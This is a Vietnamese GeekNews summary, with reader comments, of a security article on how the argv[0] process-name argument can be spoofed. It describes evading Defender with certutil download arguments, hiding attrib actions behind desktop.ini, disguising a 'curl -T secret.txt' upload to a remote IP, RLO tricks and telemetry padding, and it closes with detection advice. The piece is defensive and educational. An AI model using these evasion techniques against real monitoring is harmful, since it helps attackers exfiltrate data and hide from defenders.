9 điểm bởi GN⁺ 2024-09-04 | 2 bình luận | Chia sẻ qua WhatsApp
  • Dòng lệnh (command line) là một thứ khá kỳ quặc
  • Windows đặc biệt nổi tiếng vì các vấn đề kiểu này, nhưng cách hầu hết hệ điều hành triển khai dòng lệnh đều có thể gây ra vấn đề bảo mật
  • Bài viết này giải thích những vấn đề của quy ước dành riêng đối số đầu tiên của dòng lệnh tiến trình, argv[0], để biểu thị tên của tiến trình

argv[0] là di vật của quá khứ

  • Khi chương trình khởi động, nó nhận các đối số dòng lệnh và có thể truy cập chúng từ bên trong chương trình; trên thực tế đây là một trong những thông tin đầu tiên được cung cấp khi chương trình bắt đầu chạy
    • Đây là cơ chế chính để thay đổi luồng thực thi của chương trình
  • Nếu nhìn vào họ lời gọi hệ thống exec được áp dụng trong POSIX và DOS/Win32
    • int execv(const char *path, char *const argv[]);
    • Để gọi hàm execv này, chương trình phải truyền đường dẫn đầy đủ của ứng dụng cần chạy qua path, cùng một vector chứa các đối số qua argv, và nó trả về một số nguyên kèm mã trạng thái
    • Theo đặc tả này, nếu lời gọi chạy chương trình thành công thì chương trình đích sẽ được gọi thông qua int main (int argc, char *argv[]);
  • Trong mọi tiêu chuẩn C, argc không âm, argv[argc] là con trỏ null, và nếu argc lớn hơn 0 thì argv[0] biểu thị tên của chương trình được gọi
  • Một số người có thể đặt câu hỏi về sự cần thiết của argv[0]
    • "Tiến trình mới rõ ràng là biết tên của chính nó, vậy tại sao phải truyền nó như đối số tiến trình đầu tiên từ tiến trình gọi?"
    • Trong môi trường POSIX, chương trình có thể được gọi qua symbolic link, nên đây là cơ chế giúp tiến trình mới biết nó đã được yêu cầu theo cách nào
    • Ví dụ, shutdownreboot trên Debian đều liên kết tới cùng một file thực thi systemctl, và hành xử khác nhau tùy theo lệnh đã được gọi
  • Đây có vẻ là một quyết định thiết kế đáng ngờ
    • "Liệu chương trình có nên hành xử khác nhau tùy theo chính tên của nó không?"
    • Từ góc nhìn hiện đại, điều này làm giảm tính dự đoán của phần mềm và đi ngược lại các nguyên tắc thiết kế hiện đại
    • Từ góc nhìn của thập niên 1970–1980, có thể coi đây là nỗ lực giảm trùng lặp khi tài nguyên máy tính còn khan hiếm
    • Nhưng hiện nay dung lượng đĩa không còn là vấn đề nổi bật. Ví dụ, trên macOS Sonoma, shutdownreboot tồn tại dưới dạng các file thực thi riêng biệt
    • Vẫn còn tranh luận liệu việc gộp hai chương trình tương tự vào một file có thực sự cần thiết hay cách dùng đối số lệnh sẽ phù hợp hơn
  • Ngay cả khi chấp nhận nguyên tắc này, bản thân cách triển khai cũng còn gây tranh cãi
    • Có thể đặt câu hỏi liệu thông tin trong argv[0] có nên được cung cấp như một phần của các đối số tiến trình hay không
    • Các chương trình phụ thuộc vào argv[0] có thể gặp lỗi nếu tiến trình gọi không thiết lập nó chính xác
    • Cũng có những chương trình sử dụng argv[0] sai cách trong các tình huống bảo mật
    • Cách tiếp cận tốt hơn là tách argv[0] thành một khả năng riêng trong task_struct hoặc PEB để hệ điều hành quản lý giá trị này
      • Điều đó cho phép việc theo dõi nhất quán và giảm phạm vi bị thao túng
  • Hệ điều hành gần nhất với cách làm này, khá bất ngờ, lại là Windows
    • Không giống các hệ điều hành phổ biến khác, Windows không đặt argv[0] khi tạo tiến trình mới
    • Các lời gọi API của Windows (CreateProcess, ShellExecute) tự động đặt argv[0] theo đường dẫn file thực thi
    • Dù đây là cách triển khai hợp lý nhất, trên Windows vẫn tồn tại cách đặt argv[0] thủ công vì hệ này cũng chấp nhận lời gọi exec kiểu POSIX

argv[0] bị bỏ qua (trong hầu hết trường hợp)

  • Bất kể quan điểm của bạn về tầm quan trọng của argv[0], trên thực tế đây là một khái niệm đang tồn tại và đi kèm vấn đề
  • Khi gọi exec, hai điều kiện đầu trong ba điều kiện đã nêu được hệ điều hành xử lý, nhưng điều kiện cuối liên quan tới argv[0] thì không được quản lý
  • Vì bên gọi exec kiểm soát hoàn toàn argv, nó có thể bỏ qua yêu cầu này, và cả hệ điều hành lẫn chương trình gọi/chương trình được gọi đều không kiểm tra vi phạm đó
  • Ví dụ về việc bỏ qua argv[0]
    • Để in ra Hello, world! bằng echo, thông thường sẽ gọi execv("/usr/bin/echo", ["echo", "Hello, world!"])
    • Nhưng nếu gọi execv("/usr/bin/echo", ["oopsie", "Hello, world!"]), chương trình echo vẫn chạy bình thường và in ra Hello, world!
    • Chương trình echo hoạt động theo cách bỏ qua argv[0] và chỉ tập trung vào các đối số từ argv[1] trở đi
    • Phần lớn chương trình cũng dùng cách tiếp cận tương tự, tức là bỏ qua argv[0]
  • Ví dụ về thao túng argv[0]
    • Nhiều ngôn ngữ lập trình và scripting, trong đó có C, cung cấp cách thao túng argv[0]:
    python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])"  
    perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"'  
    ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')"  
    bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'  
    
  • Việc thao túng argv[0] rất đơn giản và thường không ảnh hưởng đến việc thực thi của đa số chương trình. Tuy nhiên về mặt bảo mật, nó có thể gây vấn đề

argv[0] có thể làm sụp đổ các cơ chế phòng thủ

  • argv[0] có thể được dùng để đánh lừa phần mềm bảo mật. Khi người dùng ác ý đã xâm phạm được hệ thống, họ thao túng hệ thống bằng cách thực thi các lệnh của kẻ tấn công
  • Các phần mềm phòng thủ như AV và EDR giám sát việc thực thi tiến trình, và nếu xác định một lệnh nào đó là độc hại thì sẽ phát hiện hoặc chặn nó. Phần lớn giải pháp chủ động dò tìm các lệnh mà kẻ tấn công thường dùng
  • Ví dụ: lạm dụng lệnh certutil
    • certutil, công cụ dòng lệnh tích hợp sẵn trong Windows, thường bị lạm dụng trong các cuộc tấn công. Sau khi có được quyền truy cập ban đầu, nó được dùng như một phương tiện để tải payload từ bên ngoài về.
    • Microsoft Defender Antivirus chặn việc chạy certutil nếu có các đối số dòng lệnh cho thấy nỗ lực tải file. Tuy nhiên, nếu khởi chạy certutil với argv[0] được đặt thành chuỗi rỗng, Defender sẽ không chặn nó
    • Điều này cho thấy vấn đề phát sinh khi cơ chế phát hiện bảo mật coi tên chương trình là một phần của dòng lệnh. Ví dụ, nếu logic phát hiện được viết như command_line.contains('certutil') AND command_line.contains('-urlcache') thì nó đang giả định certutil là một phần của dòng lệnh. Nhưng với argv[0] bị thao túng, có thể vượt qua logic phát hiện đó
    • Logic phát hiện hiệu quả hơn nên có dạng process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')
  • Vượt qua phát hiện thông qua argv[0]
    • Việc né phát hiện cũng có thể thực hiện bằng cách thêm các từ khóa tuning vào argv[0]. Cơ chế phát hiện thường kết hợp điều kiện cơ bản với điều kiện bổ sung để lọc false positive
    • Ví dụ, quy tắc phát hiện có thể bị kích hoạt khi attrib.exe thực hiện hành vi ẩn file. Nhưng trên thực tế, nó lại thường được chạy hợp lệ với file desktop.ini
    • Biết điều này, kẻ tấn công có thể chèn desktop.ini vào argv[0] để né phát hiện. Chẳng hạn có thể đặt argv = ['attrib_\\desktop.ini', '+H', 'backdoor.exe']

Có thể dùng argv[0] để đánh lừa

  • argv[0] có thể bị lạm dụng để lừa không chỉ phần mềm bảo mật mà cả con người
  • Các nhà phân tích bảo mật xem xét những cảnh báo do công cụ bảo mật như EDR tạo ra, và trong các cảnh báo đó có dòng lệnh của tiến trình liên quan
  • Dòng lệnh của tiến trình là thông tin quan trọng giúp nhà phân tích quyết định có điều tra sâu hơn hay bỏ qua cảnh báo
  • Ví dụ: đánh lừa bằng dòng lệnh
    • Cảnh báo về khả năng rò rỉ dữ liệu có thể xuất hiện khi chạy lệnh curl -T secret.txt 123.45.67.89. Lệnh này tải file secret.txt lên địa chỉ IP 123.45.67.89
    • Trong cùng kịch bản đó, nếu đổi argv[0] từ curl thành curl localhost | grep, lệnh này vẫn hợp lệ
    • Phần mềm bảo mật hiển thị mảng dòng lệnh dưới dạng chuỗi phân tách bằng dấu cách, nên trong trường hợp này câu lệnh rất có thể sẽ hiện ra là curl localhost | grep -T secret.txt 123.45.67.89
    • Từ góc nhìn của nhà phân tích, nó có thể trông như curl localhost được chạy và kết quả được chuyển cho grep -T secret.txt 123.45.67.89. Điều này khiến người xem hiểu nhầm rằng đây là thao tác tải từ địa chỉ cục bộ, trong khi thực tế là đang tải dữ liệu lên địa chỉ từ xa
  • Sử dụng ký tự Right-To-Left Override (RLO)
    • Có thể thao túng argv[0] bằng ký tự RLO (đảo chiều hiển thị từ phải sang trái) vốn rất tai tiếng
    • Ký tự Unicode này ra lệnh cho ứng dụng hiển thị đảo ngược các ký tự theo sau nó
    • Nếu chèn RLO vào argv[0], có thể khiến ping moc.elgoog.some-evil-website.com trông như ping moc.etisbew-live-emos.google.com
    • Cách này không ảnh hưởng đến logic phát hiện, nhưng có thể đánh lừa nhà phân tích
  • Những kỹ thuật như vậy cho thấy nhiều cách khác nhau để thao túng argv[0] nhằm che giấu hoạt động độc hại bằng cách đánh lừa cả phần mềm bảo mật lẫn con mắt con người

argv[0] có thể làm hỏng telemetry

  • argv[0] nằm ở đầu tiên của dòng lệnh, nếu nhồi đủ ký tự vào argv[0] thì có thể đẩy tất cả các đối số còn lại ra tận cuối dòng lệnh
  • Điều này có thể gây vấn đề vì hai lý do: thứ nhất, có thể “giấu” phần đáng chú ý ở cuối dòng lệnh để khiến nhà phân tích không cuộn tới; quan trọng hơn, tổng độ dài dòng lệnh có thể bị kéo dài đủ mức để phần mềm giám sát cắt mất các đối số thực sự quan trọng
  • Giới hạn độ dài dòng lệnh
    • Từ Windows 7 trở đi, độ dài tối đa của dòng lệnh trên Windows bị giới hạn ở 14.336 ký tự (khoảng 14 KiB)
    • Trong nhân Linux, độ dài tối đa được hard-code là 32 kích thước trang, tương đương khoảng 131.072 ký tự (128 KiB) trên kiến trúc 64-bit
    • macOS Sonoma cho phép dòng lệnh dài tối đa 1.048.576 ký tự (1 MiB)
    • Điều đó có nghĩa là argv[0] có thể chiếm một lượng không gian tùy ý rất lớn
  • Trường hợp telemetry bị hỏng
    • Phần mềm giám sát tiến trình (ví dụ EDR) có thể ghi lại toàn bộ lệnh dài, hoặc cắt về độ dài cố định để giảm overhead
    • Nếu toàn bộ lệnh dài đều được ghi lại, chỉ cần dùng độ dài tối đa của dòng lệnh để khởi chạy 1.000 tiến trình là có thể tạo ra 1GiB dữ liệu log
    • Nếu có cắt bớt, các đối số dòng lệnh có thể bị rơi khỏi telemetry. Ví dụ, lệnh perl -e 'exec {"echo"} "_"x50000, "Hello, world!"' sẽ in ra “Hello, world!”, nhưng telemetry của lần thực thi đó có thể chỉ ghi lại các dấu gạch dưới, hoặc trong một số trường hợp thậm chí là một dòng lệnh hoàn toàn trống
    • Kết quả là các đối số dòng lệnh thực sự quan trọng không còn xuất hiện, khiến cả logic phát hiện lẫn nhà phân tích không thể biết chuyện gì đang xảy ra

Rủi ro của argv[0]: phòng ngừa và phát hiện

  • argv[0] giải quyết một vấn đề nhưng lại tạo ra nhiều vấn đề khác
  • Khả năng argv[0] sớm biến mất là rất thấp, nên về mặt bảo mật cần tập trung vào cách xử lý nó
  • Biện pháp phòng ngừa
    • Nhà phát triển phần mềm có thể kiểm tra xem argv[0] có khớp với chính tên file của nó hay không để phát hiện thao túng, nhưng cách này khó mở rộng
    • Hệ điều hành có thể thực hiện phép kiểm này một cách đáng tin cậy hơn. Việc dựa vào argv[0] để thay đổi luồng thực thi của chương trình là điều rất không được khuyến khích
    • Tốt nhất là nhà phát triển nên tránh tương tác với argv[0] càng nhiều càng tốt
  • Cách phát hiện dành cho chuyên gia bảo mật
    • Nhận thức được cách argv[0] hoạt động và các vấn đề của nó là bước quan trọng để ngăn chặn trò đánh lừa bằng dòng lệnh
    • Nếu phần mềm bảo mật cung cấp các đối số dòng lệnh dưới dạng mảng, có thể nhận diện một số mẫu nhất định một cách đáng tin cậy
    • Các giá trị argv[0] quá dài bất thường hoặc chứa ký tự đáng ngờ như dấu pipe cần được gắn cờ ngay là khả nghi
    • Ngay cả khi đối số dòng lệnh được cung cấp dưới dạng chuỗi, vẫn có thể gắn cờ các dòng lệnh không chứa tên chương trình. Đây là dấu hiệu cho thấy argv[0] đã bị thao túng
    • Chỉ riêng sự hiện diện của ký tự RLO đã là một phương pháp phát hiện có hiệu quả cao trong hầu hết môi trường
    • Với các đối số dòng lệnh bị cắt bớt, cần hiểu rõ giải pháp bảo mật và data lake xử lý chúng như thế nào, cũng như ảnh hưởng của điều đó tới telemetry được tạo ra
  • Cải thiện phần mềm phòng thủ
    • Phần mềm phòng thủ nên cải thiện khả năng phát hiện việc lạm dụng argv[0]. Cần có khả năng chặn việc chạy phần mềm với các giá trị argv[0] đáng ngờ mà không gây ra false positive
    • Các nền tảng EDR cũng nên cân nhắc loại bỏ argv[0] khi báo cáo các đối số dòng lệnh. Điều này sẽ loại bỏ phần lớn các vấn đề được nêu trong bài, trong khi giá trị pháp chứng của nó trong đa số trường hợp cũng không cao
  • Sau cùng, chẳng ai muốn đau đầu vì argv[0], và phần mềm của chúng ta cũng vậy

Tóm tắt của GN⁺

  • argv[0] là di vật của quá khứ, đi ngược lại các nguyên tắc thiết kế phần mềm hiện đại
  • Phần lớn chương trình bỏ qua argv[0], nhưng điều này có thể dẫn tới các vấn đề bảo mật
  • argv[0] có thể đánh lừa phần mềm bảo mật và con người, đồng thời làm hỏng telemetry
  • Các chuyên gia bảo mật cần phát hiện việc lạm dụng argv[0], còn phần mềm phòng thủ cần xử lý điều này tốt hơn

2 bình luận

 
scari 2024-09-05

Chắc do tôi thuộc kiểu người xưa rồi... nên tôi không mấy đồng cảm với lập luận của tác giả. Vấn đề là ở exec, nhưng lại có cảm giác như mũi dùi đang chĩa sang argv[0].

 
GN⁺ 2024-09-04
Ý kiến trên Hacker News
  • Phản đối việc đọc argv[0] là biểu hiện của sự thiếu hiểu biết của tác giả hoặc đòi hỏi phải có cơ chế phòng vệ rất mạnh

    • Tò mò không biết busybox phải vận hành thế nào trên hộp OpenWrt với hệ thống tệp root 16MB
    • Việc thảo luận về hạn chế sử dụng giá trị argv[0] là điều đáng cân nhắc
    • Kẻ tấn công vẫn có thể vượt qua các biện pháp bảo mật
  • argv[0] được dùng làm đích của liên kết tượng trưng cho hàng trăm lệnh

    • Android dùng cách này cho hầu hết các lệnh shell phổ biến
    • Toyboxbusybox là ví dụ
  • Có thể dùng các công cụ sử dụng argv[0] để chạy lệnh của host từ bên trong container

    • Ví dụ: có thể cấu hình để chạy lệnh flatpak trên host
  • Việc chương trình hoạt động khác nhau tùy theo tên của nó không phải là vấn đề

    • Việc đưa tên chương trình vào đối số gọi là rất hữu ích
  • Ý kiến phản đối argv[0] cho rằng nó đi ngược lại các nguyên tắc thiết kế hiện đại

    • Khi có symlink, việc chương trình biết nó đã được gọi như thế nào là hợp lý
    • python dùng argv[0] để kiểm tra xem có đang ở trong virtualenv hay không và điều chỉnh đường dẫn tìm kiếm
  • argv[0] không đặc biệt tệ từ góc độ bảo mật

    • Tốt hơn là sửa phần mềm bảo mật để nó trích dẫn các giá trị argv
  • argv[0] không có vấn đề gì

    • Hầu hết mọi người dùng argv[0] để phân biệt phiên bản lệnh
  • busybox dùng argv[0] ở chế độ shim

    • Với vấn đề bảo mật, điều quan trọng hơn là dùng các cơ chế bảo mật sâu hơn như SELinux
  • macOS thiết lập để nhiều lệnh cùng trỏ đến một tệp thực thi duy nhất

    • Dùng argv[0] để cải thiện khả năng sử dụng CLI và giảm trùng lặp mã
  • Nếu loại bỏ argv[0] thì sẽ mất đi các tính năng hữu ích

    • Bảo mật mạng nên được xử lý ở tầng mạng
    • Dù bỏ argv[0], kẻ tấn công vẫn sẽ tìm ra cách khác